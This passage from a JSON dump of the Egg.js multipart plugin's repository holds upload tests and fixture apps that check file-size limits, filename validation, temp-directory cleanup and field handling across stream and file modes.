* 1024 + 1), 'toobigfile.txt', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/Error: Reach fileSize limit/);\n  });\n\n  it('should throw error when file name invalid', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js.rar');\n    form.file('file2', __filename);\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(400);\n    expect(res.data.toString()).toMatch(/Error: Invalid filename: foooooooo.js.rar/);\n  });\n\n  it('should throw error on multipart() invoke twice', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file2', __filename);\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload?call_multipart_twice=1', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(500);\n    expect(res.data.toString()).toMatch(/the multipart request can't be consumed twice/);\n  });\n\n  it('should use cleanupRequestFiles after request end', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file2', __filename);\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload?cleanup=true', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.files.length).toBe(1);\n  });\n\n  it('should use cleanupRequestFiles in async way', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file2', __filename);\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload?async_cleanup=true', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.files.length).toBe(1);\n  });\n\n  describe('schedule/clean_tmpdir', () => {\n    it('should register clean_tmpdir schedule', async () => {\n      // [egg-schedule]: register schedule /hello/egg-multipart/app/schedule/clean_tmpdir.js\n      const logger = app.loggers.scheduleLogger;\n      const content = await fs.readFile(logger.options.file, 'utf8');\n      expect(content).toMatch(/\\[@eggjs\\/schedule\\]: register schedule .+clean_tmpdir\\.ts/);\n    });\n\n    it('should remove nothing', async () => {\n      app.mockLog();\n      await app.runSchedule(path.join(import.meta.dirname, '../src/app/schedule/clean_tmpdir'));\n      await scheduler.wait(1000);\n      app.expectLog('[@eggjs/multipart:CleanTmpdir] start clean tmpdir: \"', 'coreLogger');\n      app.expectLog('[@eggjs/multipart:CleanTmpdir] end', 'coreLogger');\n    });\n\n    it('should remove old dirs', async () => {\n      const oldDirs = [\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(1, 'years').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(1, 'months').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(2, 'months').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(3, 'months').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(1, 'days').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(7, 'days').format('YYYY/MM/DD/HH')),\n      ];\n      const shouldKeepDirs = [\n        path.join(app.config.multipart.tmpdir, dayjs().subtract(2, 'years').format('YYYY/MM/DD/HH')),\n        path.join(app.config.multipart.tmpdir, dayjs().format('YYYY/MM/DD/HH')),\n      ];\n      const currentMonth = new Date().getMonth();\n      const fourMonthBefore = path.join(\n        app.config.multipart.tmpdir,\n        dayjs().subtract(4, 'months').format('YYYY/MM/DD/HH'),\n      );\n      if (currentMonth < 4) {\n        // if current month is less than April, four months before should be last year.\n        oldDirs.push(fourMonthBefore);\n      } else {\n        shouldKeepDirs.push(fourMonthBefore);\n      }\n      await Promise.all(oldDirs.map((dir) => fs.mkdir(dir, { recursive: true })));\n      await Promise.all(shouldKeepDirs.map((dir) => fs.mkdir(dir, { recursive: true })));\n\n      await Promise.all(\n        oldDirs.map((dir) => {\n          // create files\n          return fs.writeFile(path.join(dir, Date.now() + ''), Date());\n        }),\n      );\n\n      app.mockLog();\n      await app.runSchedule(path.join(import.meta.dirname, '../src/app/schedule/clean_tmpdir'));\n      for (const dir of oldDirs) {\n        const exists = await fs\n          .access(dir)\n          .then(() => true)\n          .catch(() => false);\n        expect(exists).toBe(false);\n      }\n      for (const dir of shouldKeepDirs) {\n        const exists = await fs\n          .access(dir)\n          .then(() => true)\n          .catch(() => false);\n        expect(exists).toBe(true);\n      }\n      app.expectLog('[@eggjs/multipart:CleanTmpdir] removing tmpdir: \"', 'coreLogger');\n      app.expectLog('[@eggjs/multipart:CleanTmpdir:success] tmpdir: \"', 'coreLogger');\n    });\n  });\n\n  it('should keep last field', async () => {\n    mock(app.config.multipart, 'allowArrayField', false);\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('foo', 'egg');\n    form.file('file2', __filename);\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n    expect(res.data.body).toEqual({ foo: 'egg' });\n  });\n\n  it('should allow array field', async () => {\n    mock(app.config.multipart, 'allowArrayField', true);\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('foo', 'like').field('foo', 'egg');\n    form.file('file2', __filename);\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n    expect(res.data.body).toEqual({ foo: ['fengmk2', 'like', 'egg'] });\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/app/controller/upload.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class extends app.Controller {\n    async index(ctx) {\n      try {\n        const file = await ctx.saveRequestFiles({\n          limits: {\n            fileSize: 10000,\n          },\n        });\n        ctx.body = file;\n      } finally {\n        await ctx.cleanupRequestFiles();\n      }\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload.index);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2:\n  <input name=\"file2\" type=\"file\" /> file3: <input name=\"file3\" type=\"file\" /> other: <input name=\"other\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'stream',\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    // consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/dynamic-option/package.json",
    "content": "{\n  \"name\": \"dynamic-options-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/app/controller/upload.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n\n  if (ctx.query.cleanup === 'true') {\n    await ctx.cleanupRequestFiles();\n  }\n  if (ctx.query.async_cleanup === 'true') {\n    ctx.cleanupRequestFiles();\n  }\n\n  if (ctx.query.call_multipart_twice) {\n    ctx.multipart();\n  }\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2:\n  <input name=\"file2\" type=\"file\" /> file3: <input name=\"file3\" type=\"file\" /> other: <input name=\"other\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'file',\n  // fileSize: 10,\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    // consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/file-mode/package.json",
    "content": "{\n  \"name\": \"multipart-file-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/app/controller/save.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  await ctx.saveRequestFiles();\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/app/controller/upload.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload);\n  app.post('/upload_file', app.controller.upload);\n  app.post('/save', app.controller.save);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload_file?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2:\n  <input name=\"file2\" type=\"file\" /> file3: <input name=\"file3\" type=\"file\" /> other: <input name=\"other\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'stream',\n  fileModeMatch: /^\\/upload_file$/,\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    // consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch/package.json",
    "content": "{\n  \"name\": \"multipart-file-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/app/controller/save.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  await ctx.saveRequestFiles();\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/app/controller/upload.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload);\n  app.post('/upload_file', app.controller.upload);\n  app.post('/upload_file/foo', app.controller.upload);\n  app.post('/save', app.controller.save);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload_file?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2:\n  <input name=\"file2\" type=\"file\" /> file3: <input name=\"file3\" type=\"file\" /> other: <input name=\"other\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'stream',\n  fileModeMatch: '/upload_file',\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    // consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob/package.json",
    "content": "{\n  \"name\": \"multipart-file-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/app/controller/save.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  await ctx.saveRequestFiles();\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/app/controller/upload.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = {\n    body: ctx.request.body,\n    files: ctx.request.files,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload);\n  app.post('/upload_file', app.controller.upload);\n  app.post('/upload_file/foo', app.controller.upload);\n  app.post('/save', app.controller.save);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload_file?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2:\n  <input name=\"file2\" type=\"file\" /> file3: <input name=\"file3\" type=\"file\" /> other: <input name=\"other\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/config/config.default.js",
    "content": "exports.multipart = {\n  mode: 'stream',\n  fileModeMatch: '/upload_file{/:paths}',\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    // consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/fileModeMatch-glob-with-pathToRegexpModule/package.json",
    "content": "{\n  \"name\": \"fileModeMatch-glob-with-pathToRegexpModule\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/limit-filesize-per-request/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload-limit-1mb', async (ctx) => {\n    await ctx.saveRequestFiles({ limits: { fileSize: '1mb' } });\n    ctx.body = {\n      body: ctx.request.body,\n      files: ctx.request.files,\n    };\n  });\n\n  app.post('/upload-limit-2mb', async (ctx) => {\n    await ctx.saveRequestFiles({ limits: { fileSize: '2mb' } });\n    ctx.body = {\n      body: ctx.request.body,\n      files: ctx.request.files,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/limit-filesize-per-request/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'multipart';\n\nexports.multipart = {\n  fileSize: '1kb',\n  fileModeMatch: /^\\/non-exists-routers-/i,\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/limit-filesize-per-request/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/limit-filesize-per-request/package.json",
    "content": "{\n  \"name\": \"oss\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/app/controller/upload.js",
    "content": "const path = require('node:path');\nconst fs = require('node:fs');\nconst { sendToWormhole } = require('stream-wormhole');\n\nmodule.exports = async (ctx) => {\n  const parts = ctx.multipart();\n  let part;\n  while ((part = await parts()) != null) {\n    if (Array.isArray(part)) {\n      continue;\n    } else {\n      break;\n    }\n  }\n\n  if (!part || !part.filename) {\n    ctx.body = {\n      message: 'no file',\n    };\n    return;\n  }\n\n  if (ctx.query.mock_stream_error) {\n    // mock save stream error\n    const filepath = path.join(ctx.app.config.logger.dir, 'not-exists-dir/dir2/testfile');\n    try {\n      await saveStream(part, filepath);\n    } catch (err) {\n      await sendToWormhole(part);\n      throw err;\n    }\n\n    ctx.body = {\n      filename: part.filename,\n    };\n  }\n\n  if (ctx.query.mock_undefined_error) {\n    part.foo();\n  }\n\n  const filepath = path.join(ctx.app.config.logger.dir, 'multipart-test-file');\n  await saveStream(part, filepath);\n  ctx.body = {\n    filename: part.filename,\n  };\n};\n\nfunction saveStream(stream, filepath) {\n  return new Promise((resolve, reject) => {\n    const ws = fs.createWriteStream(filepath);\n    stream.pipe(ws);\n    ws.on('error', reject);\n    ws.on('finish', resolve);\n  });\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload);\n  app.post('/upload.json', app.controller.upload);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  fileExtensions: ['.foo', '.BAR', 'abc', ''],\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart/package.json",
    "content": "{\n  \"name\": \"multipart\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-for-await/app/controller/upload.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst { Controller } = require('egg');\nconst stream = require('stream');\nconst util = require('util');\nconst pipeline = util.promisify(stream.pipeline);\n\nmodule.exports = class UploadController extends Controller {\n  async index() {\n    const shouldMockError = !!this.ctx.query.mock_error;\n    const fileSize = parseInt(this.ctx.query.fileSize) || this.app.config.multipart.fileSize;\n\n    const parts = this.ctx.multipart({ limits: { fileSize } });\n    const fields = {};\n    const files = {};\n\n    for await (const part of parts) {\n      if (Array.isArray(part)) {\n        const [name, value] = part;\n        fields[name] = value;\n      } else {\n        const { filename, fieldname } = part;\n\n        let content = '';\n        await pipeline(\n          part,\n          new stream.Writable({\n            write(chunk, encoding, callback) {\n              content += chunk.toString();\n              // console.log('@@', part.filename, part.truncated);\n              if (shouldMockError) {\n                return callback(new Error('mock error'));\n              }\n              setImmediate(callback);\n            },\n          }),\n        );\n        files[fieldname] = {\n          fileName: filename,\n          content,\n        };\n      }\n    }\n\n    this.ctx.body = { fields, files };\n  }\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-for-await/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload', app.controller.upload.index);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-for-await/app/views/home.html",
    "content": "<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">上传</button>\n</form>\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-for-await/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  fieldSize: 10,\n  fieldNameSize: 10,\n  fileSize: 1024 * 1024 * 2,\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-for-await/package.json",
    "content": "{\n  \"name\": \"multipart-for-await\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-with-whitelist/app/controller/upload.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst fs = require('fs');\n\nmodule.exports = async (ctx) => {\n  const parts = ctx.multipart();\n  let part;\n  while ((part = await parts()) != null) {\n    if (Array.isArray(part)) {\n      continue;\n    } else {\n      break;\n    }\n  }\n\n  const ws = fs.createWriteStream(path.join(ctx.app.config.logger.dir, 'multipart-test-file'));\n  part.pipe(ws);\n  ctx.body = {\n    filename: part.filename,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-with-whitelist/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/upload.json', 'upload');\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-with-whitelist/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  fileExtensions: ['.foo'],\n  whitelist: ['.whitelist'],\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-with-whitelist/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/multipart-with-whitelist/package.json",
    "content": "{\n  \"name\": \"multipart\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/.gitignore",
    "content": "*.js"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nclass HomeController extends Controller {\n  async index(): Promise<void> {\n    const { ctx } = this;\n    ctx.body = {\n      body: ctx.request.body,\n      files: ctx.request.files,\n    };\n  }\n}\n\nexport default HomeController;\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  const { controller } = app;\n  app.post('/', controller.home.index);\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/config/config.default.ts",
    "content": "import { defineConfigFactory, type EggConfigFactory, type PartialEggConfig } from 'egg';\n\nconst config: EggConfigFactory = defineConfigFactory((appInfo) => {\n  const config = {\n    keys: 'multipart-ts-test',\n    appInfo: appInfo,\n    multipart: {\n      mode: 'file',\n    },\n  } as PartialEggConfig;\n  return config;\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/package.json",
    "content": "{\n  \"name\": \"multipart-typescript-demo\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"paths\": {\n      \"egg-multipart\": [\"../../../../\"]\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-limit/app/router.js",
    "content": "const path = require('node:path');\nconst fs = require('node:fs/promises');\nconst { createWriteStream } = require('node:fs');\nconst os = require('node:os');\n\nmodule.exports = (app) => {\n  // mock oss\n  app.context.oss = {\n    async put(name, stream) {\n      const storefile = path.join(os.tmpdir(), name);\n      await fs.mkdir(path.dirname(storefile), { recursive: true });\n\n      return new Promise((resolve, reject) => {\n        const writeStream = createWriteStream(storefile);\n        stream.pipe(writeStream);\n\n        if (!name.includes('not-handle-error-event')) {\n          stream.on('error', (err) => {\n            console.log('read stream error: %s', err);\n            reject(err);\n          });\n        }\n\n        writeStream.on('error', (err) => {\n          console.log('write stream error: %s', err);\n          reject(err);\n        });\n        writeStream.on('close', () => {\n          resolve({\n            name,\n            url: 'http://mockoss.com/' + name,\n            res: {\n              status: 200,\n            },\n          });\n        });\n      });\n    },\n  };\n\n  app.get('/upload', async (ctx) => {\n    ctx.set('x-csrf', ctx.csrf);\n    ctx.body = 'hi';\n  });\n\n  app.post('/upload', async (ctx) => {\n    const stream = await ctx.getFileStream();\n    const name = 'egg-multipart-test/' + process.version + '-' + Date.now() + '-' + path.basename(stream.filename);\n    const result = await ctx.oss.put(name, stream);\n    if (name.includes('not-handle-error-event-and-mock-stream-error')) {\n      // process.nextTick(() => stream.emit('error', new Error('mock stream unhandle error')));\n    }\n    ctx.body = {\n      name: result.name,\n      url: result.url,\n      status: result.res.status,\n      fields: stream.fields,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-limit/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'multipart';\n\nexports.multipart = {\n  fileSize: '1mb',\n  fileExtensions: null,\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-limit/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-limit/package.json",
    "content": "{\n  \"name\": \"oss\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-one-file/app/controller/async.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst { Controller } = require('egg');\n\nmodule.exports = class UploadController extends Controller {\n  async async() {\n    const ctx = this.ctx;\n    const options = {};\n    if (ctx.query.fileSize) {\n      options.limits = { fileSize: parseInt(ctx.query.fileSize) };\n    }\n    const stream = await ctx.getFileStream(options);\n    if (ctx.query.foo === 'error') {\n      // mock undefined error\n      stream.foo();\n    }\n    const name = 'egg-multipart-test/' + process.version + '-' + Date.now() + '-' + path.basename(stream.filename);\n    const result = await ctx.oss.put(name, stream);\n    ctx.body = {\n      name: result.name,\n      url: result.url,\n      status: result.res.status,\n      fields: stream.fields,\n    };\n  }\n\n  async allowEmpty() {\n    const ctx = this.ctx;\n    const stream = await ctx.getFileStream({ requireFile: false });\n    if (stream.filename) {\n      const name = 'egg-multipart-test/' + process.version + '-' + Date.now() + '-' + path.basename(stream.filename);\n      const result = await ctx.oss.put(name, stream);\n      ctx.body = {\n        name: result.name,\n        url: result.url,\n        status: result.res.status,\n        fields: stream.fields,\n      };\n      return;\n    }\n\n    stream.resume();\n    ctx.body = {\n      fields: stream.fields,\n    };\n  }\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-one-file/app/router.js",
    "content": "const path = require('node:path');\nconst fs = require('node:fs/promises');\nconst is = require('is-type-of');\n\nasync function readableToBytes(stream) {\n  const chunks = [];\n  let chunk;\n  let totalLength = 0;\n  for await (chunk of stream) {\n    chunks.push(chunk);\n    totalLength += chunk.length;\n  }\n  return Buffer.concat(chunks, totalLength);\n}\n\nmodule.exports = (app) => {\n  // mock oss\n  app.context.oss = {\n    async put(name, stream) {\n      const bytes = await readableToBytes(stream);\n      return {\n        name,\n        url: 'http://mockoss.com/' + name,\n        size: bytes.length,\n        res: {\n          status: 200,\n        },\n      };\n    },\n  };\n\n  app.get('/', async (ctx) => {\n    ctx.body = {\n      app: is.object(ctx.app.oss),\n      ctx: is.object(ctx.oss),\n      putBucket: is.generatorFunction(ctx.oss.putBucket),\n    };\n  });\n\n  app.get('/uploadtest', async (ctx) => {\n    const name = 'egg-oss-test-upload-' + process.version + '-' + Date.now();\n    ctx.body = await ctx.oss.put(name, fs.createReadStream(__filename));\n  });\n\n  app.get('/upload', async (ctx) => {\n    ctx.set('x-csrf', ctx.csrf);\n    ctx.body = 'hi';\n    // await ctx.render('upload.html');\n  });\n\n  app.post('/upload', async (ctx) => {\n    const stream = await ctx.getFileStream();\n    const name = 'egg-multipart-test/' + process.version + '-' + Date.now() + '-' + path.basename(stream.filename);\n    // 文件处理，上传到云存储等等\n    const result = await ctx.oss.put(name, stream);\n    ctx.body = {\n      name: result.name,\n      url: result.url,\n      status: result.res.status,\n      fields: stream.fields,\n    };\n  });\n\n  app.post('/upload2', async (ctx) => {\n    await ctx.getFileStream({ limits: { fileSize: '1kb' } });\n    ctx.body = ctx.request.body;\n  });\n\n  app.post('/upload/async', 'async.async');\n\n  app.post('/upload/allowEmpty', 'async.allowEmpty');\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-one-file/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-one-file/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/upload-one-file/package.json",
    "content": "{\n  \"name\": \"oss\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/whitelist-function/app/controller/upload.js",
